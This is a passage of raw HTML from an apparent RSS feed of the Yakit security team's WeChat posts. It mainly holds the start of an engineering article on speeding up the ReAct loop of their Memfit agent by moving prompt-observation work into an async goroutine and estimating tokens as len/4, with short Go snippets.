9);box-sizing: border-box;"><span leaf="">· 便于复核与交付：</span></span></span></strong><span style="font-size: 15px;box-sizing: border-box;"><span style="letter-spacing: 1px;color: rgb(0, 0, 0);box-sizing: border-box;"><span leaf="">风险记录可继续验证、补充证据并整理为交付结果。</span></span></span></p></div></div><div style="max-width: 100%;margin: 0px;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;border: 1px solid rgb(255, 156, 25);background-color: rgb(255, 251, 239);"><div style="box-sizing: border-box;"><div style="max-width: 100%;margin: 0px;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;text-align: center;"><div style="display: flex;justify-content: center;max-width: 100%;box-sizing: border-box;"><div style="max-width: 100%;margin: -10px 0px 0px;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 6px 35px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;background: linear-gradient(to right, rgb(240, 78, 18), rgb(255, 155, 25));clip-path: polygon(0px 0px, 100% 0px, 90% 100%, 10% 100%);text-align: justify;"><div style="max-width: 100%;margin: 0px;box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;"><div style="display: inline-block;vertical-align: top;width: auto;flex: 0 1 auto;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;"><div style="max-width: 100%;box-sizing: border-box;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px 12px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;color: rgb(255, 255, 255);"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;">END</span></p></div></div></div></div></div></div></div></div></div><div style="max-width: 100%;margin: 15px 0px 0px;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;"><div style="box-sizing: border-box;"><div style="max-width: 100%;margin: 0px 15px;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;text-align: left;"><div style="display: flex;justify-content: flex-start;max-width: 100%;box-sizing: border-box;"><div style="max-width: 100%;margin: 0px;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;text-align: justify;"><div style="box-sizing: border-box;"><div style="max-width: 100%;box-sizing: border-box;"><p style="text-align: left;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px 25px 0px 6px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;color: rgb(210, 64, 12);"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span textstyle="" style="font-weight: bold;">YAK官方资源</span></span></p></div></div></div></div></div></div></div><div style="max-width: 100%;margin: 0px;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 10px 20px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(51, 51, 51);"><div style="box-sizing: border-box;"><div style="max-width: 100%;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1.5em;box-sizing: border-box;overflow-wrap: break-word;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="" mpa-font-style="mryegmhq22t3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-size: 13px;box-sizing: border-box;overflow-wrap: break-word !important;">Yakit官网下载地址：</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span mpa-font-style="mryegmhq5co" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;text-decoration: underline;color: rgb(95, 156, 239);font-size: 13px;overflow-wrap: break-word !important;"><em style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-style: italic;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><a href="https://yaklang.com/" target="_blank">https://yaklang.com/</a></span></em></span></p></div></div><div style="max-width: 100%;box-sizing: border-box;"><p style="margin-top: 0px;line-height: 1.5em;max-width: 100%;box-sizing: border-box;"><span leaf="" style="box-sizing: border-box;"><span textstyle="" style="font-size: 13px;">Github地址：</span></span></p></div><div style="max-width: 100%;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1.5em;box-sizing: border-box;overflow-wrap: break-word;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span mpa-font-style="mryegmhq1scc" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;text-decoration: underline;color: rgb(95, 156, 239);font-size: 13px;overflow-wrap: break-word !important;"><em style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-style: italic;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><a href="https://github.com/yaklang/yakit" target="_blank">https://github.com/yaklang/yakit</a></span></em></span></p></div></div><div style="max-width: 100%;box-sizing: border-box;"><p style="margin-top: 0px;line-height: 1.5em;max-width: 100%;box-sizing: border-box;"><span leaf="" style="box-sizing: border-box;">Yakit 视频教程：</span></p></div><div style="max-width: 100%;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1.5em;box-sizing: border-box;overflow-wrap: break-word;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span mpa-font-style="mryegmhq1tl2" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;text-decoration: underline;color: rgb(95, 156, 239);font-size: 13px;overflow-wrap: break-word !important;"><em style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-style: italic;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><a href="https://space.bilibili.com/437503777" target="_blank">https://space.bilibili.com/437503777</a></span></em></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="" mpa-font-style="mryegmhqw0g" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-size: 13px;box-sizing: border-box;overflow-wrap: break-word !important;">Memfit下载地址：</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="" mpa-font-style="mryegmhq1p6s" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;text-decoration: underline;color: rgb(95, 156, 239);font-style: italic;font-size: 13px;overflow-wrap: break-word !important;"><a href="https://memfit.ai/" target="_blank">https://memfit.ai/</a></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span mpa-font-style="mryegmhq1oij" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-size: 13px;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;">IRify下载地址：</span></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="" mpa-font-style="mryegmhqvuf" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;text-decoration: underline;color: rgb(95, 156, 239);font-style: italic;font-size: 13px;overflow-wrap: break-word !important;"><a href="https://ssa.to/" target="_blank">https://ssa.to/</a></span></p></div></div></div></div></div></div></div></div></div></div></div><div style="max-width: 100%;box-sizing: border-box;"><div style="line-height: 0;max-width: 100%;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6018518518518519" data-s="300,640" data-type="png" data-w="1080" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="100046452" src="https://wechat2rss.xlab.app/img-proxy/?k=852a8d21&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72GUibTZpytLicDqSFjRmRNs7jYRtF7BNcqsubAS3x2qg3V8HwelVsqKB2eypImSBEjEXYtWtwr22tJia5d5ftPialqDN7uial4oDN6c%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div><div style="max-width: 100%;box-sizing: border-box;"><div style="line-height: 0;max-width: 100%;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.325" data-s="300,640" data-type="gif" data-w="640" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="100046446" src="https://wechat2rss.xlab.app/img-proxy/?k=8b0af5e1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FjibGAup6p72GibfSNEfVkuhEYt7cSrdz3FnQAdxObPFicBxvZHAuDoLYmQ30JhiaEqSyy4yEPybDpUeTG5bprDXicYtFK4JOqJoNqib6ciaCq2G36E%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=4c1fb2c9&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0MTM4NzIxMQ%3D%3D%26mid%3D2247530109%26idx%3D1%26sn%3D51b205a00f381df64bbc82eace37b4ef">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 26 Aug 2026 16:00:00 +0800</pubDate>
    </item>
    <item>
      <title>让 AI Agent 跑得更快：Memfit 速度优化</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0MTM4NzIxMQ==&amp;mid=2247530078&amp;idx=1&amp;sn=108a53239a83a19674e5996694208a52</link>
      <description>四个方向，同一件事：做减法</description>
      <content:encoded><![CDATA[<p>原创 <span>Yakit</span> <span>2026-08-21 17:00</span> <span style="display: inline-block;">四川</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=04b03a76&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FjibGAup6p72GTbIVPTDXmSIe7kWzksQ6BAzIbuoQwMR13T6xhLSPZh6txG10acul5G4X9ZxDrCicwWqic3dwFqAxia7wibXUEsenT6XgEV97ZKto%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>四个方向，同一件事：做减法</p>
  <p><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100032990" data-ratio="0.1927710843373494" data-w="1079" data-type="gif" src="https://wechat2rss.xlab.app/img-proxy/?k=2ce71a29&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Ff7AtEgJhMZfCSs0zKcMmDXyJt76PDpGiataSbajd3BpbZnPXBCqFaA3icu2mY1LGqAmJHIiaCq5N9qCBv47ktQEYA%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100041806" data-ratio="0.4064814814814815" data-s="300,640" type="block" data-type="webp" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=8695437c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Ff7AtEgJhMZeeTiaUCTkrXfbtIPCxmicjgPxhq9ZDnzI4ge0SwCTAMbAvAI5yWUnoBLqzicqmJAtuUiaygZO5lqSGJQ%2F640%3Fwx_fmt%3Dwebp%26from%3Dappmsg"/></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-nest-level="2" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;" data-nest-level="3"><div style="outline: 0px;text-align: justify;font-size: 18px;" data-nest-level="4"><p style="outline: 0px;" data-nest-level="5"><strong data-nest-level="6"><span leaf="" style="font-weight: bold;outline: 0px;" data-nest-level="7">一、背景：Agent 到底慢在哪</span></strong></p></div></div></div><p data-pm-slice="4 5 []" style="margin: 8px;"><span style="font-family: 宋体;font-size: 10.5pt;"><font face="Calibri"><span leaf="" mpa-font-style="mt157jwy8az" style="font-size: 15px;" data-mpa-action-id="mt157jxd1fcg" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;">Memfit</span></span></font></span><sup><span style="font-family: Calibri;font-size: 9pt;vertical-align: super;"><font face="Calibri"><span leaf=""><span textstyle="" style="font-size: 12px;letter-spacing: 1px;">①</span></span></font></span></sup><span leaf="" mpa-font-style="mt157rrue0q" style="font-size: 15px;" data-mpa-action-id="mt157rs81m8u" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;">的递归式双引擎架构中，ReAct 循环是核心执行单元。Plan-Execute 负责拆解目标，ReAct 负责逐个执行——而每一轮 ReAct 迭代，都要经历以下几个步骤：</span></span></p><p data-pm-slice="4 4 []" style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span style="font-family: 宋体;font-size: 9pt;"><font face="宋体"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">注</span></span></font></span><span style="font-family: Calibri;font-size: 9pt;"><font face="Calibri"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">①</span></span></font></span><span style="font-family: 宋体;font-size: 9pt;"><font face="宋体"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">：</span></span></font></span><span style="font-family: 宋体;font-style: normal;font-size: 9pt;"><font face="Calibri"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">Memfit</span></span></font><font face="宋体"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">是</span></span></font></span><span style="font-family: 宋体;font-style: normal;font-size: 9pt;"><font face="宋体"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">万径安全旗下</span></span></font><font face="Calibri"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">Yaklang </span></span></font><font face="宋体"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">研发的面向长程渗透测试、漏洞挖掘、应急响应等全链路攻防任务的生产级安全领域</span></span></font><font face="Calibri"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">Agent</span></span></font><font face="宋体"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">系统。</span></span></font></span></p><p style="margin-bottom: 8px;padding: 0.5em;" nodeleaf="" data-mpa-action-id="mt15mqakgiq" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-aistatus="1" data-height="388" data-imgfileid="100046416" data-ratio="0.3362218370883882" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-type="png" data-w="1154" data-width="1154" src="https://wechat2rss.xlab.app/img-proxy/?k=c35d1a96&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72HfMRj3hI3q22V8jYLyjI2kia766nB4B0yJxHNYY3Y8wzMJJB4Jv3QodshSFX7TgWvyUYhdP9AuqaRGlFSt2qWulXSvvdqtrAGs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><ul style="margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li style="color:#fd8009;"><p style="margin-bottom: 8px;"><strong><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mt15p8pr16eb"><span leaf="" mpa-font-style="mt15phab2318" style="font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">构建 Prompt</span></span></span></strong><span leaf="" mpa-font-style="mt15phab12zv" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span></span><span leaf="" mpa-font-style="mt15phab12zv" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">拼装 frozen/semi-dynamic/dynamic 各段，做 token 统计、observation 构建——这块有 ~235ms 的纯计算耗时</span></span></p></li><li style="color:#fd8009;"><p style="margin-bottom: 8px;"><span mpa-font-style="mt15phab5nh" style="font-size: 15px;"><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">调用 LLM</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span></span><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">最贵的一步，每次都是一次网络往返 + 推理，延迟在秒级</span></span></span></p></li><li style="color:#fd8009;"><p style="margin-bottom: 8px;"><span mpa-font-style="mt15phab1cqy" style="font-size: 15px;"><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">执行工具</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span></span><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">HTTP 请求、文件读取、端口扫描等 I/O 操作</span></span></span></p></li><li style="color:#fd8009;"><p style="margin-bottom: 8px;"><span mpa-font-style="mt15phab1qq9" style="font-size: 15px;"><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">感知/验证</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span></span><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">可能额外触发 1-2 次 LLM 调用（感知 AI call + 验证 AI call）</span></span></span></p></li></ul><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mt15p8prtwi"><span leaf="" mpa-font-style="mt15phab1f7e" style="font-size: 15px;">一个典型的安全测试任务会跑 10-20 轮这样的迭代。乍一看，最显眼的瓶颈当然是&#34;调用 LLM&#34;——延迟在秒级，又是按 token 计费，自然觉得优化这里收益最大。但真正排查下来，发现情况没那么简单。</span></span></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-nest-level="2" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;" data-nest-level="3"><div style="outline: 0px;text-align: justify;font-size: 18px;" data-nest-level="4"><p style="outline: 0px;" data-nest-level="5"><strong data-nest-level="6"><span leaf="" style="font-weight: bold;outline: 0px;" data-nest-level="7">二、单轮墙钟时间：Observation 异步化</span></strong></p></div></div></div><p style="margin: 8px;"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mt15sf8v10pn"><span leaf="">回头看 ReAct 循环的四个步骤——构建 Prompt、调用 LLM、执行工具、感知/验证——每一步都可能有性能问题。我们先从&#34;构建 Prompt&#34;这一步开始。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span mpa-font-style="mt15sf8v1rp4" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">顺着 </span></span><code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">generateLoopPrompt</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 的代码读下来，发现每轮 prompt 拼装完之后还有一段 observation 逻辑，稳定占用 ~235ms。</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">这个开销不是偶发的，而是每轮迭代都在。</span></span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span mpa-font-style="mt15sf8v1i33" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">把 </span></span><code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">generateLoopPrompt</span></span></code></span><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mt15sf8v1vox"><span leaf=""> 的调用链展开，这 235ms 花在了这里：</span></span></p><pre style="white-space:pre-wrap;"><code data-lark-language="Plain Text" data-wrap="false"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="css"><code><span leaf="">BuildPromptObservation  →  遍历所有 prompt <span class="code-snippet__selector-tag">section</span>，统计 bytes/tokens/lines</span></code><br/><br/><code><span leaf="">BuildStatus             →  构建 UI 面板用的状态对象</span></code><br/><br/><code><span leaf="">emitPromptObservation   →  推送给前端的 prompt profile 面板</span></code><br/><br/><code><span leaf="">ytoken<span class="code-snippet__selector-class">.CalcTokenCount</span>   →  完整的 Qwen BPE 编码，逐段算精确 token 数</span></code><br/><br/><code><span leaf="">contentHash8            →  对每个 <span class="code-snippet__selector-tag">section</span> 做 sha1 取前 <span class="code-snippet__number">8</span> 字节</span></code><br/><br/></pre></p></code><br/></pre><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mt15vnw920p8"><span leaf="">这看起来都是必要的工作——token 统计、状态构建、UI 推送。但仔细一看，</span></span><span mpa-font-style="mt15vnw91ta9" style="font-size: 15px;"><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">这整套计算只服务于 UI 的 prompt profile 面板</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">。</span><span textstyle="" style="letter-spacing: 1px;">Agent 真正调 LLM 用的是拼装好的 </span></span><code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">result.Prompt</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 字符串，跟 observation 没有关系。235ms 是纯给前端看的。</span></span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span mpa-font-style="mt15vnw91drp"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">问题就清楚了。唯一真正卡在同步路径上的，是 verification gate（验证门）要用的 prompt token 数——验证门靠它判断&#34;上下文涨了多少 token，要不要触发验证&#34;。但验证门的阈值在 10K/20K 量级，这种粗粒度根本不需要 BPE 精确编码，</span></span><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">len/4</span></span></code></span><span mpa-font-style="mt15vnw9l0g"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 就够了：</span></span></span></p><pre style="white-space:pre-wrap;"><code data-lark-language="Go" data-wrap="false"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="go"><code><span leaf=""><span class="code-snippet__comment">// 改动前：完整 BPE 编码，~235ms</span></span></code><br/><br/><code><span leaf="">_promptTokens := estimateTokenCount(result.Prompt)</span></code><br/><br/><code><span leaf=""><span class="code-snippet__comment">// 改动后：len/4 粗估，&lt;0.1ms</span></span></code><br/><br/><code><span leaf=""><span class="code-snippet__comment">// verification gate 的 token 门阈值为 10K/20K 量级，粗估 len/4 即可</span></span></code><br/><br/><code><span leaf="">_promptTokens := <span class="code-snippet__built_in">len</span>(result.Prompt) / <span class="code-snippet__number">4</span></span></code><br/><br/><code><span leaf="">r.SetLastPromptToken(_promptTokens)</span></code><br/><br/></pre></p></code><br/></pre><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">同步只留这行 </span></span><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">len/4</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">，完整的 observation 构建全部交给一个 fire-and-forget goroutine：</span></span></p><pre><code data-lark-language="Go" data-wrap="false"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="go"><code><span leaf="">r.observationInflight.Add(<span class="code-snippet__number">1</span>)</span></code><br/><br/><code><span leaf=""><span class="code-snippet__keyword">go</span> <span class="code-snippet__function"><span class="code-snippet__keyword">func</span></span><span class="code-snippet__function"><span class="code-snippet__params">()</span></span> {</span></code><br/><br/><code><span leaf="">    <span class="code-snippet__keyword">defer</span> r.observationInflight.Done()</span></code><br/><br/><code><span leaf="">    <span class="code-snippet__keyword">defer</span> <span class="code-snippet__function"><span class="code-snippet__keyword">func</span></span><span class="code-snippet__function"><span class="code-snippet__params">()</span></span> {</span></code><br/><br/><code><span leaf="">        <span class="code-snippet__keyword">if</span> rec := <span class="code-snippet__built_in">recover</span>(); rec != <span class="code-snippet__literal">nil</span> {</span></code><br/><br/><code><span leaf="">            log.Warnf(<span class="code-snippet__string">&#34;async observation build panic recovered: %v&#34;</span>, rec)</span></code><br/><br/><code><span leaf="">        }</span></code><br/><br/><code><span leaf="">    }()</span></code><br/><br/><code><span leaf="">    observation := BuildPromptObservation(_loopName, _nonce, _promptCopy, _asyncSections)</span></code><br/><br/><code><span leaf="">    status := observation.BuildStatus(<span class="code-snippet__number">0</span>)</span></code><br/><br/><code><span leaf="">    r.SetLastPromptObservation(observation)</span></code><br/><br/><code><span leaf="">    r.SetLastPromptObservationStatus(status)</span></code><br/><br/><code><span leaf="">    <span class="code-snippet__keyword">if</span> _emitter != <span class="code-snippet__literal">nil</span> {</span></code><br/><br/><code><span leaf="">        _emitter.EmitPromptProfile(status)</span></code><br/><br/><code><span leaf="">    }</span></code><br/><br/><code><span leaf="">}()</span></code><br/><br/></pre></p></code><br/></pre><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">另外还发现一个细节：</span></span><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">contentHash8</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 会对每个 prompt section 做 sha1，同一 section 内容跨迭代不变，但之前每轮都重算。加了一个 512 entry 的 LRU cache：</span></span></p><pre 